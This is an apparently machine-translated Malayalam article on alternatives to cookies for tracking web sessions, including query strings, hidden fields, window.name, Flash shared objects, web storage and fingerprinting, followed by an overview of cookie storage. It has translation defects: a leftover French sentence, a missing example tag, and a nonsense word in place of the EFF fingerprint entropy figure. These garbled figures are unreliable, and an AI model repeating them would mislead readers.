അന്വേഷണ സ്ട്രിംഗുകളുടെ മറ്റ് ദോഷങ്ങൾ സുരക്ഷയുമായി ബന്ധപ്പെട്ടതാണ്: അന്വേഷണ സ്ട്രിംഗുകളിൽ ഒരു സെഷൻ തിരിച്ചറിയുന്ന ഡാറ്റ സൂക്ഷിക്കുന്നത് സെഷൻ ഫിക്സേഷൻ ആക്രമണങ്ങൾ, ഐഡന്റിഫയർ റഫറൻസ് ആക്രമണങ്ങൾ, മറ്റ് ചൂഷണങ്ങൾ എന്നിവ പ്രവർത്തനക്ഷമമാക്കുന്നു അല്ലെങ്കിൽ ലളിതമാക്കുന്നു. സെഷൻ ഐഡികൾ HTTP കുക്കികളായി കൈമാറുന്നത് കൂടുതൽ സുരക്ഷിതമാണ്.

മറഞ്ഞിരിക്കുന്ന ഫോം ഫീൽഡ്

ASP.NET ഉപയോഗിക്കുന്ന സെഷൻ ട്രാക്കിംഗിന്റെ ഒരു രൂപം, മറഞ്ഞിരിക്കുന്ന ഫീൽഡുകളുള്ള വെബ് ഫോമുകൾ ഉപയോഗിക്കുക എന്നതാണ്. ഈ സാങ്കേതികത വിവരങ്ങൾ കൊണ്ടുപോകുന്നതിന് URL അന്വേഷണ സ്ട്രിംഗുകൾ ഉപയോഗിക്കുന്നതിന് സമാനമാണ്, കൂടാതെ അതേ ഗുണങ്ങളും ദോഷങ്ങളുമുണ്ട്; കൂടാതെ HTTP GET രീതി ഉപയോഗിച്ചാണ് ഫോം പ്രോസസ്സ് ചെയ്യുന്നതെങ്കിൽ, ഫീൽഡുകൾ യഥാർത്ഥത്തിൽ ബ്രൗസറിന്റെ URL-ന്റെ ഭാഗമാകും, അത് ഫോം സമർപ്പിക്കുമ്പോൾ അത് അയയ്ക്കും. എന്നാൽ മിക്ക ഫോമുകളും പ്രോസസ്സ് ചെയ്യുന്നത് HTTP POST ഉപയോഗിച്ചാണ്, ഇത് മറഞ്ഞിരിക്കുന്ന ഫീൽഡുകൾ ഉൾപ്പെടെയുള്ള ഫോം വിവരങ്ങൾ URL-ന്റെയോ കുക്കിയുടെയോ ഭാഗമല്ലാത്ത ഒരു അധിക ഇൻപുട്ടായി ചേർക്കുന്നതിന് കാരണമാകുന്നു.

ഈ സമീപനത്തിന് ഒരു ട്രാക്കിംഗ് വീക്ഷണകോണിൽ നിന്ന് രണ്ട് ഗുണങ്ങളുണ്ട്: ആദ്യം, URL-നേക്കാൾ HTML സോഴ്സ് കോഡിലും POST ഇൻപുട്ടിലും സ്ഥാപിച്ചിരിക്കുന്ന വിവരങ്ങൾ ട്രാക്കുചെയ്യുന്നത് ശരാശരി ഉപയോക്താവിനെ ഈ ട്രാക്കിംഗ് ഒഴിവാക്കാൻ അനുവദിക്കും; രണ്ടാമതായി, ഉപയോക്താവ് URL പകർത്തുമ്പോൾ സെഷൻ വിവരങ്ങൾ പകർത്തില്ല (പേജ് ഡിസ്കിലേക്ക് സംരക്ഷിക്കുന്നതിനോ അല്ലെങ്കിൽ ഇമെയിൽ വഴി അയയ്ക്കുന്നതിനോ, ഉദാഹരണത്തിന്).

window.name

എല്ലാ സാധാരണ വെബ് ബ്രൗസറുകൾക്കും DOM-ന്റെ window.name പ്രോപ്പർട്ടി ഉപയോഗിച്ച് JavaScript വഴി വളരെ വലിയ അളവിൽ ഡാറ്റ (2MB മുതൽ 32MB വരെ) സംഭരിക്കാൻ കഴിയും. സെഷൻ കുക്കികൾക്ക് പകരം ഈ ഡാറ്റ ഉപയോഗിക്കാവുന്നതാണ് കൂടാതെ ഡൊമെയ്‌നുകളിലുടനീളം ഉപയോഗിക്കുകയും ചെയ്യുന്നു. ക്ലയന്റ്-സൈഡ് സെഷൻ വേരിയബിളുകളുടെ സങ്കീർണ്ണമായ സെറ്റ് സംഭരിക്കുന്നതിന് ടെക്നിക് JSON ഒബ്‌ജക്‌റ്റുകളുമായി സംയോജിപ്പിക്കാം.

ഓരോ പ്രത്യേക ജാലകത്തിനും ടാബിനും തുടക്കത്തിൽ ഒരു ശൂന്യമായ window.name ഉണ്ടായിരിക്കും എന്നതാണ് ദോഷം; ടാബുകൾ ഉപയോഗിച്ച് ബ്രൗസ് ചെയ്യുമ്പോൾ (ഉപയോക്താവ് തുറന്നത്) വ്യക്തിഗതമായി തുറക്കുന്ന ടാബുകൾക്ക് വിൻഡോ നാമം ഉണ്ടാകില്ല എന്നാണ് ഇതിനർത്ഥം. കൂടാതെ, window.name എന്നത് ഒരു സ്വകാര്യതാ പ്രശ്‌നമുണ്ടാക്കിയേക്കാവുന്ന വ്യത്യസ്‌ത സൈറ്റുകളിലുടനീളം സന്ദർശകരെ ട്രാക്ക് ചെയ്യാൻ ഉപയോഗിക്കാം.

ചില കാര്യങ്ങളിൽ ഇത് കുക്കികളേക്കാൾ സുരക്ഷിതമായിരിക്കും, സെർവറിന്റെ ഇടപെടൽ ഇല്ലാത്തതിനാൽ, സ്നിഫർ കുക്കികളുടെ നെറ്റ്‌വർക്ക് ആക്രമണത്തിന് ഇത് അപ്രസക്തമാക്കുന്നു. എന്നിരുന്നാലും, ഡാറ്റ പരിരക്ഷിക്കുന്നതിന് പ്രത്യേക നടപടികൾ കൈക്കൊള്ളുകയാണെങ്കിൽ, അതേ വിൻഡോയിൽ തുറന്നിരിക്കുന്ന മറ്റ് സൈറ്റുകളിലൂടെ ഡാറ്റ ലഭ്യമാകുന്നതിനാൽ, അത് കൂടുതൽ ആക്രമണങ്ങൾക്ക് ഇരയാകുന്നു.

HTTP പ്രാമാണീകരണം

HTTP പ്രോട്ടോക്കോളിൽ അടിസ്ഥാന ആക്‌സസ് ഓതന്റിക്കേഷൻ പ്രോട്ടോക്കോളുകളും ആക്‌സസ് ഓതന്റിക്കേഷൻ ഡൈജസ്റ്റും ഉൾപ്പെടുന്നു, ഇത് ഉപയോക്താവ് ഉപയോക്തൃനാമവും പാസ്‌വേഡും നൽകിയാൽ മാത്രം ഒരു വെബ് പേജിലേക്ക് ആക്‌സസ്സ് അനുവദിക്കും. ഒരു വെബ് പേജിലേക്ക് ആക്‌സസ് അനുവദിക്കുന്നതിന് സെർവർ ഒരു സർട്ടിഫിക്കറ്റ് അഭ്യർത്ഥിച്ചാൽ, ബ്രൗസർ അത് ഉപയോക്താവിൽ നിന്ന് അഭ്യർത്ഥിക്കുകയും ഒരിക്കൽ ലഭിച്ചാൽ, ബ്രൗസർ അത് സംഭരിക്കുകയും തുടർന്നുള്ള എല്ലാ HTTP അഭ്യർത്ഥനകളിലും അയയ്ക്കുകയും ചെയ്യുന്നു. ഈ വിവരങ്ങൾ ഉപയോക്താവിനെ ട്രാക്ക് ചെയ്യാൻ ഉപയോഗിക്കാം.

പ്രാദേശികമായി പങ്കിട്ട വസ്തു

ഒരു ബ്രൗസറിൽ Adobe Flash Player പ്ലഗിൻ ഉൾപ്പെടുന്നുവെങ്കിൽ, പ്രാദേശിക പങ്കിട്ട വസ്തുക്കൾ കുക്കികളുടെ അതേ ആവശ്യത്തിനായി ഉപയോഗിക്കാം. വെബ് ഡെവലപ്പർമാർക്ക് അവ ആകർഷകമായ തിരഞ്ഞെടുപ്പായിരിക്കും കാരണം:

• ഒരു പ്രാദേശിക പങ്കിട്ട ഒബ്‌ജക്‌റ്റിന്റെ സ്ഥിര വലുപ്പ പരിധി 100 KB ആണ്;
• സുരക്ഷാ പരിശോധനകൾ ഉപയോക്തൃ കുക്കി പരിശോധനകളിൽ നിന്ന് വ്യത്യസ്‌തമാണ് (അതിനാൽ കുക്കികൾ അല്ലാത്തപ്പോൾ പ്രാദേശിക പങ്കിട്ട വസ്തുക്കൾ അനുവദിക്കാവുന്നതാണ്).

Adobe-ന്റെ പ്രാദേശിക പങ്കിട്ട ഒബ്‌ജക്‌റ്റുകളിൽ നിന്ന് കുക്കി മാനേജ്‌മെന്റ് നയത്തെ വേർതിരിക്കുന്ന ഈ അവസാന പോയിന്റ് ചോദ്യങ്ങൾ ഉയർത്തുന്നു അവന്റെ സ്വകാര്യത ക്രമീകരണങ്ങളുടെ ഉപയോക്താവ് നടത്തുന്ന മാനേജ്മെന്റിനെ സംബന്ധിച്ച്: കുക്കികളുടെ തന്റെ മാനേജ്മെന്റ് പ്രാദേശിക പങ്കിട്ട വസ്തുക്കളുടെ മാനേജ്മെന്റിൽ യാതൊരു സ്വാധീനവും ചെലുത്തുന്നില്ലെന്ന് അദ്ദേഹം അറിഞ്ഞിരിക്കണം, തിരിച്ചും.

ഈ സിസ്റ്റത്തെക്കുറിച്ചുള്ള മറ്റൊരു വിമർശനം, ഇത് Adobe Flash Player പ്ലഗിനിലൂടെ മാത്രമേ ഉപയോഗിക്കാൻ കഴിയൂ, അത് ഉടമസ്ഥതയിലുള്ളതും ഒരു വെബ് സ്റ്റാൻഡേർഡല്ല.

ക്ലയന്റ് സൈഡ് സ്ഥിരത

ചില വെബ് ബ്രൗസറുകൾ സ്‌ക്രിപ്റ്റ് അധിഷ്‌ഠിത പെർസിസ്റ്റൻസ് മെക്കാനിസത്തെ പിന്തുണയ്‌ക്കുന്നു, ഇത് പിന്നീടുള്ള ഉപയോഗത്തിനായി വിവരങ്ങൾ പ്രാദേശികമായി സംഭരിക്കാൻ പേജിനെ അനുവദിക്കുന്നു. ഉദാഹരണത്തിന്, Internet Explorer, ബ്രൗസർ ചരിത്രം, ബുക്ക്മാർക്കുകൾ, XML-ൽ സംഭരിച്ചിരിക്കുന്ന ഫോർമാറ്റിൽ അല്ലെങ്കിൽ ഡിസ്കിൽ സംരക്ഷിച്ചിരിക്കുന്ന ഒരു വെബ് പേജ് എന്നിവയിൽ സ്ഥിരമായ വിവരങ്ങൾ പിന്തുണയ്ക്കുന്നു. മൈക്രോസോഫ്റ്റ് ഇൻറർനെറ്റ് എക്സ്പ്ലോറർ 5-ന്, DHTML പെരുമാറ്റങ്ങളിലൂടെ ഒരു ഉപയോക്തൃ-ഡാറ്റ രീതി ലഭ്യമാണ്.

W3C, HTML 5-ൽ ഒരു പുതിയ JavaScript API അവതരിപ്പിച്ചു, ക്ലയന്റ്-സൈഡ് ഡാറ്റ സംഭരണത്തിനായി വെബ് സ്റ്റോറേജ് എന്ന് വിളിക്കുന്നു, ഇത് കുക്കികളെ ശാശ്വതമായി മാറ്റിസ്ഥാപിക്കാൻ ലക്ഷ്യമിടുന്നു. ഇത് കുക്കികൾക്ക് സമാനമാണ്, എന്നാൽ വളരെയധികം മെച്ചപ്പെട്ട ശേഷിയുള്ളതും HTTP അഭ്യർത്ഥനകളുടെ തലക്കെട്ടിൽ വിവരങ്ങൾ സംഭരിക്കാതെയുമാണ്. API രണ്ട് തരത്തിലുള്ള വെബ് സംഭരണം അനുവദിക്കുന്നു: പ്രാദേശിക സംഭരണവും സെഷൻ സ്റ്റോറേജും, സ്ഥിരമായ കുക്കികൾക്കും സെഷൻ കുക്കികൾക്കും സമാനമായി (ബ്രൗസർ അടച്ചിരിക്കുമ്പോൾ സെഷൻ കുക്കികൾ കാലഹരണപ്പെടും എന്നതൊഴിച്ചാൽ സെഷൻസ്‌റ്റോറേജ് ടാബ് അടയ്ക്കുമ്പോൾ കാലഹരണപ്പെടും), യഥാക്രമം. Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8, Opera 10.50 എന്നിവ വെബ് സംഭരണത്തെ പിന്തുണയ്ക്കുന്നു.

വെബ് പേജുകളിലെ ജാവാസ്ക്രിപ്റ്റ് പ്രോഗ്രാമുകൾ ഉപയോഗിച്ച് ബ്രൗസർ കാഷിംഗ് (പുതുക്കുന്നതിനുപകരം മെമ്മറിയിൽ) ഒരു വ്യത്യസ്ത സംവിധാനം സാധാരണയായി ആശ്രയിക്കുന്നു. 

ഉദാഹരണത്തിന്, ഒരു പേജിൽ ടാഗ് അടങ്ങിയിരിക്കാം . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

ഈ സമയത്ത്, പ്രോഗ്രാം കാഷെ മെമ്മറിയിൽ തുടരുന്നു, സന്ദർശിച്ച പേജ് രണ്ടാമതും വീണ്ടും ലോഡുചെയ്യില്ല. തൽഫലമായി, പ്രോഗ്രാമിൽ ഒരു ഗ്ലോബൽ വേരിയബിൾ അടങ്ങിയിട്ടുണ്ടെങ്കിൽ (ഉദാഹരണത്തിന് var id = 3243242;), ഈ ഐഡന്റിഫയർ സാധുതയുള്ളതായി തുടരുന്നു, പേജ് വീണ്ടും ലോഡുചെയ്‌തുകഴിഞ്ഞാൽ അല്ലെങ്കിൽ പ്രോഗ്രാം ലിങ്ക് ചെയ്യുന്ന ഒരു പേജ് ലോഡുചെയ്‌തുകഴിഞ്ഞാൽ മറ്റ് JavaScript കോഡ് ഉപയോഗിച്ച് ഇത് ഉപയോഗപ്പെടുത്താം. 

ഈ രീതിയുടെ പ്രധാന പോരായ്മ, ജാവാസ്ക്രിപ്റ്റ് ഗ്ലോബൽ വേരിയബിൾ സ്റ്റാറ്റിക് ആയിരിക്കണം, അതായത് ഒരു കുക്കി പോലെ അത് മാറ്റാനോ ഇല്ലാതാക്കാനോ കഴിയില്ല.

വെബ് ബ്രൗസർ ഫിംഗർപ്രിന്റ്

തിരിച്ചറിയൽ ആവശ്യങ്ങൾക്കായി ബ്രൗസറിന്റെ കോൺഫിഗറേഷൻ ക്രമീകരണങ്ങളെക്കുറിച്ച് ശേഖരിക്കുന്ന വിവരമാണ് ബ്രൗസർ ഫിംഗർപ്രിന്റ്. കുക്കികൾ പ്രവർത്തനരഹിതമായിരിക്കുമ്പോൾ പോലും ഒരു ഇന്റർനെറ്റ് ഉപയോക്താവിനെയോ ഉപകരണത്തെയോ പൂർണ്ണമായോ ഭാഗികമായോ തിരിച്ചറിയാൻ ഈ വിരലടയാളങ്ങൾ ഉപയോഗിക്കാനാകും.

ഹ്യൂമൻ വെബ് ട്രാഫിക് കൃത്യമായി അളക്കുന്നതിനും ക്ലിക്ക് ഫ്രോഡിന്റെ വിവിധ രൂപങ്ങൾ കണ്ടെത്തുന്നതിനുമായി വെബ്‌സൈറ്റ് പ്രേക്ഷക സേവനങ്ങൾ വളരെക്കാലമായി അടിസ്ഥാന വെബ് ബ്രൗസർ കോൺഫിഗറേഷൻ വിവരങ്ങൾ ശേഖരിക്കുന്നു. ക്ലയന്റ് സൈഡ് സ്ക്രിപ്റ്റിംഗ് ഭാഷകളുടെ സഹായത്തോടെ, കൂടുതൽ കൃത്യമായ വിവര ശേഖരണം ആണ് ഇപ്പോൾ സാധ്യമാണ്.

ഈ വിവരങ്ങൾ ഒരു ബിറ്റ് സ്ട്രിംഗിലേക്ക് പരിവർത്തനം ചെയ്യുന്നത് ഒരു ഉപകരണ ഫിംഗർപ്രിന്റ് ഉണ്ടാക്കുന്നു. 2010-ൽ, ഇലക്ട്രോണിക് ഫ്രോണ്ടിയർ ഫൗണ്ടേഷൻ (EFF) ഒരു ബ്രൗസറിന്റെ വിരലടയാളത്തിന്റെ എൻട്രോപ്പി കുറഞ്ഞത് ആയി കണക്കാക്കി. ക്സനുമ്ക്സ ബിറ്റുകൾ, ക്യാൻവാസ് ഫിംഗർപ്രിന്റിംഗിലെ പുരോഗതിക്ക് മുമ്പാണ് ആ എൻട്രോപ്പിയിലേക്ക് 5,7 ബിറ്റുകൾ ചേർത്തത്.

ചുരുക്കത്തിൽ കുക്കികൾ

വെബ്‌സൈറ്റ് സന്ദർശകന്റെ ഹാർഡ് ഡ്രൈവിൽ വെബ് ബ്രൗസർ സംഭരിച്ചിരിക്കുന്ന ചെറിയ ടെക്‌സ്‌റ്റ് ഫയലുകളാണ് കുക്കികൾ, സന്ദർശകനെക്കുറിച്ചോ സൈറ്റിലൂടെയുള്ള അവരുടെ യാത്രയെക്കുറിച്ചോ വിവരങ്ങൾ രേഖപ്പെടുത്താൻ (മറ്റ് കാര്യങ്ങളിൽ) അവ ഉപയോഗിക്കുന്നു. വെബ്‌മാസ്റ്റർക്ക് അങ്ങനെ ഒരു സന്ദർശകന്റെ ശീലങ്ങൾ തിരിച്ചറിയാനും ഓരോ സന്ദർശകന്റെയും സൈറ്റിന്റെ അവതരണം വ്യക്തിഗതമാക്കാനും കഴിയും; ഹോം പേജിൽ എത്ര ലേഖനങ്ങൾ പ്രദർശിപ്പിക്കണമെന്ന് അല്ലെങ്കിൽ ഏതെങ്കിലും സ്വകാര്യ കക്ഷിയുടെ ലോഗിൻ ക്രെഡൻഷ്യലുകൾ നിലനിർത്താൻ പോലും കുക്കികൾ സാധ്യമാക്കുന്നു: സന്ദർശകൻ സൈറ്റിലേക്ക് മടങ്ങുമ്പോൾ, അവന്റെ പേരും പാസ്‌വേഡും ടൈപ്പ് ചെയ്യേണ്ട ആവശ്യമില്ല. അവ കുക്കിയിൽ സ്വയമേവ വായിക്കപ്പെടുന്നതിനാൽ തിരിച്ചറിയപ്പെടും.

ഒരു കുക്കിക്ക് സൈറ്റ് ഡിസൈനർ സജ്ജീകരിച്ച പരിമിതമായ ആയുസ്സ് ഉണ്ട്. സൈറ്റിലെ സെഷന്റെ അവസാനത്തിൽ അവ കാലഹരണപ്പെടാം, അത് ബ്രൗസറിന്റെ ക്ലോസിംഗുമായി യോജിക്കുന്നു. സന്ദർശകർക്ക് ജീവിതം എളുപ്പമാക്കുന്നതിനും കൂടുതൽ പ്രസക്തമായ വിവരങ്ങൾ അവതരിപ്പിക്കുന്നതിനും കുക്കികൾ വ്യാപകമായി ഉപയോഗിക്കുന്നു. എന്നാൽ പ്രത്യേക സാങ്കേതിക വിദ്യകൾ ഒരു സന്ദർശകനെ നിരവധി സൈറ്റുകളിൽ പിന്തുടരാനും അതുവഴി അവന്റെ ശീലങ്ങളെക്കുറിച്ചുള്ള വളരെ വിപുലമായ വിവരങ്ങൾ ശേഖരിക്കാനും ക്രോസ്-ചെക്ക് ചെയ്യാനും സാധ്യമാക്കുന്നു. സന്ദർശകരുടെ സ്വകാര്യത ലംഘിക്കുന്ന ഒരു നിരീക്ഷണ സാങ്കേതികത എന്ന നിലയിൽ കുക്കികളുടെ ഉപയോഗത്തിന് ഈ രീതി ഒരു പ്രശസ്തി നൽകി, നിർഭാഗ്യവശാൽ സാങ്കേതികേതര കാരണങ്ങളാൽ അല്ലെങ്കിൽ ഉപയോക്തൃ പ്രതീക്ഷകളെ മാനിക്കാത്ത പല സന്ദർഭങ്ങളിലും യാഥാർത്ഥ്യവുമായി പൊരുത്തപ്പെടുന്നു.

ഈ നിയമാനുസൃതമായ ഭയങ്ങൾക്കുള്ള പ്രതികരണമായി, HTML 5, ക്ലയന്റ്-സൈഡ് ഡാറ്റ സംഭരണത്തിനായി വെബ് സ്റ്റോറേജ് എന്ന പേരിൽ ഒരു പുതിയ JavaScript API അവതരിപ്പിക്കുന്നു, ഇത് കൂടുതൽ സുരക്ഷിതവും കൂടുതൽ ശേഷിയുള്ളതുമാണ്, ഇത് കുക്കികൾ മാറ്റിസ്ഥാപിക്കാൻ ലക്ഷ്യമിടുന്നു.

കുക്കികളുടെ സംഭരണം

ചില ബ്രൗസറുകൾ ഉപയോഗിച്ച്, ഒരു കുക്കി എളുപ്പത്തിൽ എഡിറ്റുചെയ്യാനാകും, നോട്ട്പാഡ് പോലെയുള്ള ഒരു ലളിതമായ ടെക്സ്റ്റ് എഡിറ്റർ അതിന്റെ മൂല്യങ്ങൾ സ്വമേധയാ മാറ്റാൻ മതിയാകും.

ബ്രൗസറിനെ ആശ്രയിച്ച് കുക്കികൾ വ്യത്യസ്തമായി സംരക്ഷിക്കപ്പെടുന്നു:

• Microsoft Internet Explorer ഓരോ കുക്കിയും മറ്റൊരു ഫയലിൽ സംരക്ഷിക്കുന്നു;
• മോസില്ല ഫയർഫോക്സ് അതിന്റെ എല്ലാ കുക്കികളും ഒരൊറ്റ ഫയലിൽ സംരക്ഷിക്കുന്നു;
• Opera അതിന്റെ എല്ലാ കുക്കികളും ഒരൊറ്റ ഫയലിൽ സംരക്ഷിക്കുകയും അവയെ എൻക്രിപ്റ്റ് ചെയ്യുകയും ചെയ്യുന്നു (സോഫ്റ്റ്‌വെയർ ഓപ്ഷനുകളിലല്ലാതെ അവ പരിഷ്‌ക്കരിക്കുന്നത് അസാധ്യമാണ്);
• ആപ്പിൾ സഫാരി അതിന്റെ എല്ലാ കുക്കികളും ഒരൊറ്റ .plist വിപുലീകരണ ഫയലിൽ സംരക്ഷിക്കുന്നു. നിങ്ങൾ സോഫ്റ്റ്‌വെയർ ഓപ്ഷനുകളിലൂടെ കടന്നുപോകുന്നില്ലെങ്കിൽ പരിഷ്‌ക്കരണം സാധ്യമാണ്, പക്ഷേ വളരെ എളുപ്പമല്ല.

പിന്തുണയ്ക്കാൻ ബ്രൗസറുകൾ ആവശ്യമാണ് ഒരു മിനിമ :

• 300 ഒരേസമയം കുക്കികൾ;
• ഒരു കുക്കിക്ക് 4 o;
• ഒരു ഹോസ്റ്റ് അല്ലെങ്കിൽ ഡൊമെയ്‌നിന് 20 കുക്കികൾ.